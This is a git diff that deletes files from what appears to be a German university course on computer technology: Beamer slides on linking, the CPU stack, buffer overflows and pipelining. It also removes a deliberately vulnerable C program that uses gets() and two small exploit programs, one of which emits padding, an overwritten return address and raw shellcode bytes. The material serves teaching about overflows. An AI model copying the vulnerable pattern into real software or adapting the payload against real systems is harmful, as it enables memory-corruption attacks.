Programm im Speicher bereit zur Ausführung}} - \end{center} - -% \pause - \vspace*{-7cm} - Automatischer Aufruf: - \begin{itemize} - \item - Entwicklungsumgebungen\\ - (z.\,B.\ Eclipse, Code::Blocks, \dots) - \medskip - \item - \file{gcc} = Compiler\\ - \hspace*{3em}+ Assembler\\ - \hspace*{3em}+ Linker\\ - \hspace*{3em}+ \dots - \medskip - \item - \file{make} kann \emph{alles} aufrufen - \end{itemize} - -\end{frame} - -\subsection{Besonderheiten von Mikro-Controllern} - -\begin{frame} - - \showsubsection - - Kein Betriebssystem\\ % \pause\\ - \textarrow\ kein Relocator, kein dynamischer Linker\\ % \pause\\ - \textarrow\ Wir müssen dem Mikro-Controller alles "`mundgerecht"' servieren. - -% \pause - \smallskip - - \begin{itemize} - \item - fertiges ROM: Hersteller - \item - Flash-Speicher und In-System Programmer (ISP) - \item - Flash-Speicher und Boot-Loader - \end{itemize} - - \smallskip - - In jedem Fall: statisch linken, Relokation vorher - \begin{picture}(0,0) - \color{red} - \put(0.1,0.1){\line(1,0){1.2}} - \put(1.3,0.1){\vector(0,1){2.2}} - \end{picture}\\ - \textarrow\ ELF-Datei in HEX-Datei umwandeln - - \smallskip - - Format: Intel-Hex-Format\\ - Dateiendung: .hex - -\end{frame} - -\setcounter{section}{3} -\section{Der CPU-Stack\label{CPU-Stack}} -\subsection{Implementation} - -\begin{frame} - - \showsection - \showsubsection - - Speicher, in dem Werte "`gestapelt"' werden: \newterm{Stack} - - \begin{itemize} - \item - Speicherbereich (ein array) reservieren - \item - Variable (typischerweise: Prozessorregister) als - \newterm{Stack Pointer\/} reservieren \textarrow\ \lstinline{SP} - \item - Assembler-Befehl \lstinline[style=asm]{push foo}: \quad - \lstinline{*SP++ = foo;} - \item - Assembler-Befehl \lstinline[style=asm]{pop bar}: \quad - \lstinline{bar = *--SP;} - \end{itemize} - -% \pause - \medskip - Speziell: Unterprogramme - -\end{frame} - -\subsection{Unterprogramme} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{minipage}[t]{4.5cm} - Parameter: - \begin{itemize} - \item - Prozessorregister - \item - CPU-Stack - \end{itemize} - - \smallskip - - Rückgabewert: - \begin{itemize} - \item - Prozessorregister - \end{itemize} - \end{minipage}% - \begin{minipage}[t]{5cm} - Aufruf: - \begin{itemize} - \item - \lstinline[style=asm]{push IP}\\ - \lstinline[style=asm]{jmp foo} - {\color{red}\boldmath $\longleftarrow$ mov \#foo IP}\\ - \textarrow\ \lstinline[style=asm]{call foo} - \end{itemize} - Rücksprung: - \begin{itemize} - \item - \lstinline[style=asm]{pop IP}\\ - \textarrow\ \lstinline[style=asm]{ret} - \end{itemize} - \end{minipage} - -\end{frame} - -\subsection{Register sichern} - -\begin{frame} - - \showsection - \showsubsection - - Ein Unterprogramm verändert Registerinhalte. - \begin{itemize} - \item - im Hauptprogramm nötigenfalls vor Aufruf sichern - \item - im Unterprogramm vor Benutzung sichern - \item - Kombinationen (manche Register so, manche so) - \end{itemize} - -\end{frame} - -\subsection{Stack-Überläufe} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - Unendliche Rekursion - - \begin{lstlisting} - #include <stdio.h> - - int fak (int n) - { - if (n <= 1) - return 1; - else - return n * fak (n); - } - - int main (void) - { - printf ("%d! = %d\n", 6, fak (6)); - return 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \put(5,6){\makebox(0,0)[tl]{\begin{minipage}{6cm} - Bei jedem Aufruf wird die Rücksprungadresse auf den Stack gelegt - und die Variable \lstinline{n} auf dem Stack gesichert. - \end{minipage}}} - \put(3.7,3.5){\makebox(0,0)[l]{\color{red}$\longleftarrow$ Fehler!}} - \end{picture} - \vspace*{-1cm} - -\end{frame} - -\subsection{Puffer-Überläufe} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{lstlisting} - #include <stdio.h> - - int main (void) - { - int ID; - char buffer[20]; - printf ("Your ID, please: "); - gets (buffer); - sscanf (buffer, "%d", &ID); - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\nYour ID is %d.\n", buffer, ID); - return 0; - } - \end{lstlisting} - -\end{frame} - -\end{document} diff --git a/20210608/server-0.c b/20210608/server-0.c deleted file mode 100644 index d9eaf86fe7ad4ac05a647825bcd95d88f62436fd..0000000000000000000000000000000000000000 --- a/20210608/server-0.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int ID; - char buffer[20]; - printf ("Your ID, please: "); - gets (buffer); - sscanf (buffer, "%d", &ID); - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\nYour ID is %d.\n", buffer, ID); - return 0; -} diff --git a/20210614/Buegeln.pdf b/20210614/Buegeln.pdf deleted file mode 120000 index 2815ea3ab388d141c6e5f73cd46739f223db8dfc..0000000000000000000000000000000000000000 --- a/20210614/Buegeln.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Buegeln.pdf \ No newline at end of file diff --git a/20210614/Trommeltrocknen.pdf b/20210614/Trommeltrocknen.pdf deleted file mode 120000 index 93e2ad1f81820d422de2faf653a919dcdb99ca82..0000000000000000000000000000000000000000 --- a/20210614/Trommeltrocknen.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Trommeltrocknen.pdf \ No newline at end of file diff --git a/20210614/Waschen_30.pdf b/20210614/Waschen_30.pdf deleted file mode 120000 index ca128204612c7f88c965b7ee5a0aae68075b9ebf..0000000000000000000000000000000000000000 --- a/20210614/Waschen_30.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Waschen_30.pdf \ No newline at end of file diff --git a/20210614/exploit-0.c b/20210614/exploit-0.c deleted file mode 100644 index 9d5f35832497f46e7141a7f0061644bd7b2bb458..0000000000000000000000000000000000000000 --- a/20210614/exploit-0.c +++ /dev/null @@ -1,11 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -int main (int argc, char **argv) -{ - char loop[8]; - uint64_t *loop_int = (uint64_t *) loop; - *loop_int = 0x555555555155; - printf ("Prof. Dr. rer. nat. Dipl.-Phys. Peter Ge%s\n", loop); - return 0; -} diff --git a/20210614/exploit-1.c b/20210614/exploit-1.c deleted file mode 100644 index 74664123aa16c0f5494052cf7c84749d61855eb8..0000000000000000000000000000000000000000 --- a/20210614/exploit-1.c +++ /dev/null @@ -1,19 +0,0 @@ -#include <unistd.h> -#include <stdint.h> - -int main (int argc, char **argv) -{ - uint64_t my_program_address = 0x7fffffffdf90; - for (int i = 0; i < 0x28; i++) - write (1, "a", 1); // zum Auffüllen, um die Rücksprung-Adresse - write (1, &my_program_address, 8); // überschreiben zu können - write (1, "I 0WN U!", 8); - for (int i = 0; i < 24; i++) - write (1, " ", 1); - write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi hierhin erfolgt der - write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax "Rück-"Sprung - write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt> - write (1, "\xeb\xfe", 2); // while (1); - write (1, "\n", 1); - return 0; -} diff --git a/20210614/exploit-1.txt b/20210614/exploit-1.txt deleted file mode 100644 index 960796599b6dd9b035ec8605515ffe85624e95da..0000000000000000000000000000000000000000 Binary files a/20210614/exploit-1.txt and /dev/null differ diff --git a/20210614/hello-1.c b/20210614/hello-1.c deleted file mode 100644 index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000 --- a/20210614/hello-1.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} diff --git a/20210614/logo-hochschule-bochum-cvh-text-v2.pdf b/20210614/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210614/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210614/logo-hochschule-bochum.pdf b/20210614/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210614/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210614/pgslides.sty b/20210614/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210614/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210614/rtech-20210614.pdf b/20210614/rtech-20210614.pdf deleted file mode 100644 index 4cc38cfeff0bc90d14405c8678d3abb3e57f18e9..0000000000000000000000000000000000000000 Binary files a/20210614/rtech-20210614.pdf and /dev/null differ diff --git a/20210614/rtech-20210614.tex b/20210614/rtech-20210614.tex deleted file mode 100644 index 37f51722d6a157fefa829fb30229fd31775b602d..0000000000000000000000000000000000000000 --- a/20210614/rtech-20210614.tex +++ /dev/null @@ -1,1097 +0,0 @@ -% rtech-20210614.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Puffer-Überläufe - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{rotating} - -\lstdefinestyle{asm}{basicstyle=\color{structure}, - language={}, - gobble=4} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{14.\ Juni 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} - \begin{itemize} - \item[4.1] Implementation - \item[4.2] Unterprogramme - \item[4.3] Register sichern - \item[4.4] Stack-Überläufe - \color{orange} - \item[4.5] Puffer-Überläufe - \end{itemize} - \color{gray} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} - \item[\textbf{5}] \textbf{Anwender-Software} - \begin{itemize} - \item[5.1] Relokation und Linken - \item[5.2] Dateiformate - \item[5.3] Die Toolchain - \item[5.4] Besonderheiten von Mikrocontrollern - \end{itemize} - \item[\textbf{6}] \textbf{Pipelining} - \begin{itemize} - \color{red} - \item[6.1] Konzept - \item[6.2] Arithmetik-Pipelines - \item[6.3] Instruktions-Pipelines - \end{itemize} -% \item[\textbf{7}] \textbf{Bus-Systeme} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{8}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{4} - -\section{Anwender-Software} -\subsection{Relokation und Linken} - -\begin{frame}[fragile] - - \showsection - \vspace*{-\smallskipamount} - \showsubsection - - Software im Speicher - - \begin{center} - \setlength{\unitlength}{0.8cm} - \begin{picture}(15,3)(2,-1.25) - \footnotesize - - \put(2,1.0){\line(1,0){15}} - \multiput(2,1)(0.1,0){151}{\line(0,1){0.1}} - \put(2,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{10\unitlength}{0pt}}$} - \only<2->{% - \put(3.5,-0.05){\vector(0,1){1}} - \put(2.5,-0.05){\line(1,0){1}} - \put(2.4,-0.05){\makebox(0,0)[r]{\lstinline|CS|}}} - - \put(4.95,0.7){\line(0,1){0.25}} - \put(4.95,0.7){\line(1,0){0.5}} - \put(5.45,0.7){\vector(0,1){0.25}} - \put(6.65,0.7){\line(0,1){0.25}} - \put(6.65,0.7){\line(1,0){0.8}} - \put(7.45,0.7){\vector(0,1){0.25}} - \put(9.55,0.6){\line(0,1){0.35}} - \put(9.55,0.6){\line(-1,0){3.2}} - \put(6.35,0.6){\vector(0,1){0.35}} - \put(7.25,0.4){\makebox(0,0)[t]{Sprünge innerhalb des Programms}} - - \put(8.50,1.55){\makebox(0,0)[b]{Programm}} - \end{picture} -% \pause - \begin{picture}(15,3)(0,-1.25) - \footnotesize - - \put(0,1.0){\line(1,0){15}} - \multiput(0,1)(0.1,0){151}{\line(0,1){0.1}} - \put(0,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{10\unitlength}{0pt}}$} - \only<2->{% - \put(3.5,-0.05){\vector(0,1){1}} - \put(2.5,-0.05){\line(1,0){1}} - \put(2.4,-0.05){\makebox(0,0)[r]{\lstinline|CS|}}} - - \put(4.95,0.7){\line(0,1){0.25}} - \put(4.95,0.7){\line(1,0){0.5}} - \put(5.45,0.7){\vector(0,1){0.25}} - \put(6.65,0.7){\line(0,1){0.25}} - \put(6.65,0.7){\line(1,0){0.8}} - \put(7.45,0.7){\vector(0,1){0.25}} - \put(9.55,0.6){\line(0,1){0.35}} - \put(9.55,0.6){\line(-1,0){3.2}} - \put(6.35,0.6){\vector(0,1){0.35}} - \put(7.25,0.4){\makebox(0,0)[t]{Sprünge innerhalb des Programms}} - - \put(8.50,1.55){\makebox(0,0)[b]{Programm}} - \end{picture} - \end{center} -% \pause - \vspace*{-0.8cm} - Sprünge anpassen: Relokation - - \pause - \smallskip - - Hardware-Unterstützung (z.\,B.\ Intel): Speichersegmentierung - - \lstinline{CS} = Code-Segment: Segment-Register oder Selektor - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - \vspace*{-0.8cm} - - \begin{center} - \setlength{\unitlength}{0.8cm} - \begin{picture}(15,4.2)(2,-1.25) - \footnotesize - - \put(2,1.0){\line(1,0){15}} - \multiput(2,1)(0.1,0){151}{\line(0,1){0.1}} - \put(2,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{8.0\unitlength}{0pt}}$} - \put(7.50,1.55){\makebox(0,0)[b]{Programm}} - \put(12.2,2.2){$\overbrace{\rule{3.0\unitlength}{0pt}}$} - \put(13.7,2.55){\makebox(0,0)[b]{Bibliothek}} - - \put(8.45,0.95){\line(0,-1){1}} - \put(8.45,-0.05){\line(1,0){5.5}} - \put(13.95,-0.05){\vector(0,1){1}} - \put(13.95,1.25){\begin{rotate}{45}\normalsize\lstinline{scanf}\end{rotate}} - \put(10.15,0.95){\line(0,-1){0.8}} - \put(10.15,0.15){\line(1,0){2.5}} - \put(12.65,0.15){\vector(0,1){0.8}} - \put(12.65,1.25){\begin{rotate}{45}\normalsize\lstinline{printf}\end{rotate}} - \put(11.20,-0.25){\makebox(0,0)[t]{Sprünge aus dem Programm heraus}} - \end{picture} -% \pause - \begin{picture}(15,4.2)(2,-1.25) - \footnotesize - - \put(2,1.0){\line(1,0){15}} - \multiput(2,1)(0.1,0){151}{\line(0,1){0.1}} - \put(2,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{8.0\unitlength}{0pt}}$} - \put(7.50,1.55){\makebox(0,0)[b]{Programm}} - \put(13.2,2.2){$\overbrace{\rule{3.0\unitlength}{0pt}}$} - \put(14.7,2.55){\makebox(0,0)[b]{Bibliothek}} - - \put(8.45,0.95){\line(0,-1){1}} - \put(8.45,-0.05){\line(1,0){6.5}} - \put(14.95,-0.05){\vector(0,1){1}} - \put(14.95,1.25){\begin{rotate}{45}\normalsize\lstinline{scanf}\end{rotate}} - \put(10.15,0.95){\line(0,-1){0.8}} - \put(10.15,0.15){\line(1,0){3.5}} - \put(13.65,0.15){\vector(0,1){0.8}} - \put(13.65,1.25){\begin{rotate}{45}\normalsize\lstinline{printf}\end{rotate}} - \put(12.20,-0.25){\makebox(0,0)[t]{Sprünge aus dem Programm heraus}} - \end{picture} - \end{center} -% \pause - \vspace*{-0.8cm} - Sprünge anpassen: Linken - -% \pause - \smallskip - - Beim Erzeugen der Datei: statisches Linken\\ - Beim Laden: dynamisches Linken - -\end{frame} - -\subsection{Dateiformate} - -\begin{frame} - - \visible<1->{\showsubsection} - - Man kann Maschinenprogramme nicht "`einfach so"' in den Speicher laden. - -% \pause - \bigskip - - Sprünge anpassen - \begin{itemize} - \item - Relokation: Relokationstabelle - \item - Linken: Symboltabelle - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - \vspace*{-0.5cm} - - \begin{center} - \setlength{\unitlength}{0.8cm} - \begin{picture}(15,6)(0,-1.25) - \footnotesize - - \put(0,1.0){\line(1,0){15}} - \multiput(0,1)(0.1,0){151}{\line(0,1){0.1}} - \put(0,1.1){\line(1,0){15}} - \put(0,0.8){\makebox(0,0)[tl]{Ausführbare Binärdatei}} - \put(0.5,1.2){$\overbrace{\rule{1.0\unitlength}{0pt}}$} - \put(2.0,1.2){$\overbrace{\rule{1.0\unitlength}{0pt}}$} - \put(3.5,1.2){$\overbrace{\rule{11.5\unitlength}{0pt}}$} - - \put(0,4.0){\line(1,0){5}} - \multiput(0,3.5)(0.5,0){11}{\line(0,1){0.5}} - \put(0,3.5){\line(1,0){5}} - \put(0,4.2){\makebox(0,0)[bl]{Relokationstabelle}} - \put(1.0,3.4){\line(0,-1){1.9}} - \put(3.75,3.4){\vector(1,-2){1.2}} - \put(4.25,3.4){\vector(1,-1){2.4}} - \put(4.75,3.4){\vector(2,-1){4.8}} - - \put(4.95,0.7){\line(0,1){0.25}} - \put(4.95,0.7){\line(1,0){0.5}} - \put(5.45,0.7){\vector(0,1){0.25}} - \put(6.65,0.7){\line(0,1){0.25}} - \put(6.65,0.7){\line(1,0){0.8}} - \put(7.45,0.7){\vector(0,1){0.25}} - \put(9.55,0.6){\line(0,1){0.35}} - \put(9.55,0.6){\line(-1,0){3.2}} - \put(6.35,0.6){\vector(0,1){0.35}} - \put(7.25,0.4){\makebox(0,0)[t]{Sprünge innerhalb des Programms}} - - \put(6,4.0){\line(1,0){5}} - \multiput(6,3.5)(0.5,0){11}{\line(0,1){0.5}} - \put(6,3.5){\line(1,0){5}} - \put(6,4.2){\makebox(0,0)[bl]{Symboltabelle}} - \put(6.4,3.4){\line(-2,-1){3.8}} - \put(10.25,3.4){\vector(1,-2){1.2}} - \put(10.75,3.4){\vector(1,-1){2.4}} - - \put(9.25,1.55){\line(0,1){1}} - \put(8.50,2.60){\makebox(0,0)[b]{Maschinenprogramm}} - - \put(11.45,0.95){\vector(0,-1){1}} - \put(11.45,-0.10){\makebox(0,0)[t]{\lstinline{scanf}}} - \put(13.15,0.95){\vector(0,-1){1}} - \put(13.15,-0.10){\makebox(0,0)[t]{\lstinline{printf}}} - \put(12.30,-0.50){\makebox(0,0)[t]{Sprünge aus dem Programm heraus}} - - \end{picture} - \end{center} - - \vspace*{-1.2cm} - - \begin{onlyenv}<2> - - Ausführbare Binärdatei: - - \smallskip - - Relokationstabelle,\\ - Symboltabelle für dynamischen Linker - - \smallskip - - Formate: a.out, COFF, ELF, \dots\\ - Dateiendungen: (keine), .elf, .com, .exe, .scr - - \end{onlyenv} - - \begin{onlyenv}<3> - - Objektdatei: - - \smallskip - - Relokationstabelle,\\ - Symboltabellen für statischen und dynamischen Linker - - \smallskip - - Formate: a.out, COFF, ELF, \dots\\ - Dateiendungen: .o, .obj - - \end{onlyenv} - - \begin{onlyenv}<4-> - - \strut\\ - Bibliothek: - - \smallskip - - Zusammenfassung mehrerer Objekt-Dateien - - \smallskip - - Statische Bibliotheken: .a, .lib\\ - Dynamische Bibliotheken: .so, .dll - - \end{onlyenv} - -\end{frame} - -\subsection{Die Toolchain} - -\begin{frame}[fragile] - - \showsubsection - - \vspace*{-0.8cm} - \begin{center} - \addtolength{\leftskip}{4cm} - \small - \newcommand{\vtextarrow}[1]{% - \begin{picture}(0,0.8) - \put(0,0.8){\vector(0,-1){0.8}} - \put(0.125,0.4){\makebox(0,0)[l]{#1}} - \end{picture}} - - \framebox{\shortstack{\strut menschliche Gedanken}} - - \vtextarrow{Texteditor} - - \framebox{\shortstack{\strut C-Quelltext}} % (z.\,B.\ hello.c)}} - - \vtextarrow{Compiler} - - \framebox{\shortstack{\strut Assembler-Quelltext}} % (z.\,B.\ hello.s, hello.asm)}} - - \vtextarrow{Assembler} - - \framebox{\shortstack{\strut Objekt- und Bibliothek-Dateien}} % (z.\,B.\ hello.o, hello.obj)}} - - \vtextarrow{Linker} - - \framebox{\shortstack{\strut ausführbare Binärdatei}} % (z.\,B.\ hello, hello.exe)}} - - \vtextarrow{Loader} - - \framebox{\shortstack{\strut Programm im Speicher bereit zur Ausführung}} - \end{center} - -% \pause - \vspace*{-7cm} - Automatischer Aufruf: - \begin{itemize} - \item - Entwicklungsumgebungen\\ - (z.\,B.\ Eclipse, Code::Blocks, \dots) - \medskip - \item - \file{gcc} = Compiler\\ - \hspace*{3em}+ Assembler\\ - \hspace*{3em}+ Linker\\ - \hspace*{3em}+ \dots - \medskip - \item - \file{make} kann \emph{alles} aufrufen - \end{itemize} - -\end{frame} - -\subsection{Besonderheiten von Mikro-Controllern} - -\begin{frame} - - \showsubsection - - Kein Betriebssystem\\ % \pause\\ - \textarrow\ kein Relocator, kein dynamischer Linker\\ % \pause\\ - \textarrow\ Wir müssen dem Mikro-Controller alles "`mundgerecht"' servieren. - -% \pause - \smallskip - - \begin{itemize} - \item - fertiges ROM: Hersteller - \item - Flash-Speicher und In-System Programmer (ISP) - \item - Flash-Speicher und Boot-Loader - \end{itemize} - - \smallskip - - In jedem Fall: statisch linken, Relokation vorher - \begin{picture}(0,0) - \color{red} - \put(0.1,0.1){\line(1,0){1.2}} - \put(1.3,0.1){\vector(0,1){2.2}} - \end{picture}\\ - \textarrow\ ELF-Datei in HEX-Datei umwandeln - - \smallskip - - Format: Intel-Hex-Format\\ - Dateiendung: .hex - -\end{frame} - -\setcounter{section}{3} -\section{Der CPU-Stack\label{CPU-Stack}} -\subsection{Implementation} - -\begin{frame} - - \showsection - \showsubsection - - Speicher, in dem Werte "`gestapelt"' werden: \newterm{Stack} - - \begin{itemize} - \item - Speicherbereich (ein array) reservieren - \item - Variable (typischerweise: Prozessorregister) als - \newterm{Stack Pointer\/} reservieren \textarrow\ \lstinline{SP} - \item - Assembler-Befehl \lstinline[style=asm]{push foo}: \quad - \lstinline{*SP++ = foo;} - \item - Assembler-Befehl \lstinline[style=asm]{pop bar}: \quad - \lstinline{bar = *--SP;} - \end{itemize} - -% \pause - \medskip - Speziell: Unterprogramme - -\end{frame} - -\subsection{Unterprogramme} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{minipage}[t]{4.5cm} - Parameter: - \begin{itemize} - \item - Prozessorregister - \item - CPU-Stack - \end{itemize} - - \smallskip - - Rückgabewert: - \begin{itemize} - \item - Prozessorregister - \end{itemize} - \end{minipage}% - \begin{minipage}[t]{5cm} - Aufruf: - \begin{itemize} - \item - \lstinline[style=asm]{push IP}\\ - \lstinline[style=asm]{jmp foo} - {\color{red}\boldmath $\longleftarrow$ mov \#foo IP}\\ - \textarrow\ \lstinline[style=asm]{call foo} - \end{itemize} - Rücksprung: - \begin{itemize} - \item - \lstinline[style=asm]{pop IP}\\ - \textarrow\ \lstinline[style=asm]{ret} - \end{itemize} - \end{minipage} - -\end{frame} - -\subsection{Register sichern} - -\begin{frame} - - \showsection - \showsubsection - - Ein Unterprogramm verändert Registerinhalte. - \begin{itemize} - \item - im Hauptprogramm nötigenfalls vor Aufruf sichern - \item - im Unterprogramm vor Benutzung sichern - \item - Kombinationen (manche Register so, manche so) - \end{itemize} - -\end{frame} - -\subsection{Stack-Überläufe} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - Unendliche Rekursion - - \begin{lstlisting} - #include <stdio.h> - - int fak (int n) - { - if (n <= 1) - return 1; - else - return n * fak (n); - } - - int main (void) - { - printf ("%d! = %d\n", 6, fak (6)); - return 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \put(5,6){\makebox(0,0)[tl]{\begin{minipage}{6cm} - Bei jedem Aufruf wird die Rücksprungadresse auf den Stack gelegt - und die Variable \lstinline{n} auf dem Stack gesichert. - \end{minipage}}} - \put(3.7,3.5){\makebox(0,0)[l]{\color{red}$\longleftarrow$ Fehler!}} - \end{picture} - \vspace*{-1cm} - -\end{frame} - -\subsection{Puffer-Überläufe} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{lstlisting} - #include <stdio.h> - - int main (void) - { - int ID; - char buffer[20]; - printf ("Your ID, please: "); - gets (buffer); - sscanf (buffer, "%d", &ID); - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\nYour ID is %d.\n", buffer, ID); - return 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \put(5,6){\makebox(0,0)[tl]{\begin{minipage}{6.7cm} - Die Funktion \lstinline{gets()} prüft nicht, ob \lstinline{buffer[]} - für den eingegebenen Namen ausreicht, und überschreibt ggf.\ die - Variable \lstinline{ID} sowie die Rücksprungadresse des Funktionsaufrufs - von \lstinline{main()}. - \end{minipage}}} - \put(6.0,2.5){\makebox(0,0)[l]{\color{red}gets() nicht verwenden!}} - \end{picture} - \vspace*{-1cm} - -\end{frame} - -\setcounter{section}{6} -\section{Pipelining} -\subsection{Konzept} - -\newcommand{\wm}{\raisebox{-0.3cm}{\includegraphics[width=1.0cm]{Waschen_30.pdf}}} -\newcommand{\wt}{\raisebox{-0.3cm}{\includegraphics[width=1.0cm]{Trommeltrocknen.pdf}}} -\newcommand{\be}{\raisebox{-0.3cm}{\includegraphics[width=1.0cm]{Buegeln.pdf}}} - -\begin{frame} - \showsection - - \pause - \showsubsection - \begin{itemize} - \item - Aufgabe in Teilaufgaben zerlegen - \item - Teilaufgaben parallel ausführen - \end{itemize} - - \pause - \bigskip - Beispiel: Wäsche waschen - \pause - \begin{itemize} - \item - Teilaufgaben: \wm, \wt, \be - \pause - \item - müssen nacheinander ausgeführt werden\pause: Datenfluß - \pause - \item - belegen jeweils 1 Ressource - \end{itemize} - -\end{frame} - -\begin{frame} - - 3 Ladungen Wäsche - \begin{center} - \begin{onlyenv}<1-2> - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(4,2){\wm} - \put(5,2){\wt} - \put(6,2){\be} - \put(7,3){\wm} - \put(8,3){\wt} - \put(9,3){\be} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{ineffizient}} - \end{picture}\\[\medskipamount] - \end{onlyenv} - \begin{onlyenv}<2-4> - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(2,2){\wm} - \put(3,2){\wt} - \put(4,2){\be} - \put(3,3){\wm} - \put(4,3){\wt} - \put(5,3){\be} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{effizient}} - \end{picture}\\[\medskipamount] - \end{onlyenv} - \begin{onlyenv}<3-> - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(1,2){\wm} - \put(2,2){\wt} - \put(3,2){\be} - \put(1,3){\wm} - \put(2,3){\wt} - \put(3,3){\be} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{noch effizienter}} - \color{red} - \thicklines - \put(0.5,0.8){\only<4->{\line(4,1){10}}} - \put(0.5,3.3){\only<4->{\line(4,-1){10}}} - \put(7.5,1.7){\only<4->{\mbox{\shortstack{Ressourcen-\\konflikt}}}} - \end{picture}\\[\medskipamount] - \end{onlyenv} - \begin{onlyenv}<5-> - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(1,2){\wt} - \put(2,2){\be} - \put(3,2){\wm} - \put(1,3){\be} - \put(2,3){\wm} - \put(3,3){\wt} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{noch effizienter}} - \color{red} - \thicklines - \put(0.5,0.8){\only<6->{\line(4,1){10}}} - \put(0.5,3.3){\only<6->{\line(4,-1){10}}} - \put(7.5,1.7){\only<6->{\mbox{\shortstack{Daten-\\konflikt}}}} - \end{picture}% - \end{onlyenv} - \end{center} - -\end{frame} - -\subsection{Arithmetik-Pipelines} - -\newcommand{\insns}[1]{% - \begin{picture}(0,0) - \put(0,0){\line(1,0){2}} - \put(2,0){\line(0,-1){#1}} - \put(2,-#1){\vector(-1,0){2}} - \end{picture}} - -\newcommand{\insnsup}[1]{% - \begin{picture}(0,0) - \put(0,0){\line(1,0){2}} - \put(2,0){\line(0,1){#1}} - \put(2,#1){\vector(-1,0){2}} - \end{picture}} - -\begin{frame} - - \showsubsection - "`Register-FIFO"' - - \pause - \smallskip - - Pseudo-Code: Berechnung von - \begin{displaymath} - S = \left(\begin{array}{c}a_1\\a_2\\a_3\end{array}\right) - \cdot\left(\begin{array}{c}b_1\\b_2\\b_3\end{array}\right) - = a_1 \cdot b_1 - + a_2 